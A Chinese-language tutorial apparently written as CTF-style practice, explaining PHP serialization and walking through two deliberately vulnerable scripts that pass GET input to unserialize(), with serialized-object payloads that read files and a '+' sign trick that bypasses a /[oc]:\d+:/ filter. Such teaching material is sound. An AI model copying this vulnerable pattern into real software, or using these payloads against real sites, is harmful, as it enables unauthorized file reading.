看完Java的反序列化之后,再看PHP的就很容易,毕竟PHP的反序列化的结果是文本格式。
序列化/反序列化Demo
php的序列化/反序列化的函数主要是serialize和unserialize,参考“最通俗易懂的PHP反序列化原理分析”一文,示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Person { public $name = "Anemone"; public $sex = "man"; public $age = 18; public function toString(){ return $this->name." ".$this->sex." ".$this->age; } }
$person = new Person(); $person->age=19;
$serialized=serialize($person); echo $serialized; echo "\n";
$new_person=unserialize($serialized); echo print_r($new_person); echo "\n";
|
运行结果:

序列化结构
仔细看一下PHP序列化结构,可以看到序列化是只保存对象值而不保存对象代码,所以在java篇时我们需要构造POP链来调用已存在的代码片段,这也是一开始反序列化问题没有被重视的原因。

例题1
unserialize1.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
|
很明显的一个反序列化造成的文件包含漏洞,我们构造一个Shield对象,将其$file设为要读取的文件,再将其序列化即可,有如下payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $x = new Shield(); $x->file="unserialize1.php"; echo serialize($x); ?>
|
得到O:6:"Shield":1:{s:4:"file";s:16:"unserialize1.php";}
;
传入get参数得到文件:

例题2(+正则绕过 )
unserialize2.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php @error_reporting(1); class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { echo "hello world"; } ?>
|
注意到过滤规则/[oc]:\d+:/i
,因为O是对象标记,避免不了,但是后面的数字可以做点文章,比如说O:4:"baby"
==O:%2B4:"baby"
(%2B是编码后的+
号,这里参考了”2018年安恒杯月赛Write Up-12月赛更新“一文,作者在该位置使用fuzz来找到改符号的方法值得我们学习:o:%<FUZZ_POINT>4:"baby"
),按此思路先生成序列化对象:
得到O:4:"baby":1:{s:4:"file";s:16:"unserialize2.php";}
.
再传入data=O:%2B4:"baby":1:{s:4:"file";s:16:"unserialize2.php";}
得到文件包含:

参考链接
- 最通俗易懂的PHP反序列化原理分析
- 2018年安恒杯月赛Write Up-12月赛更新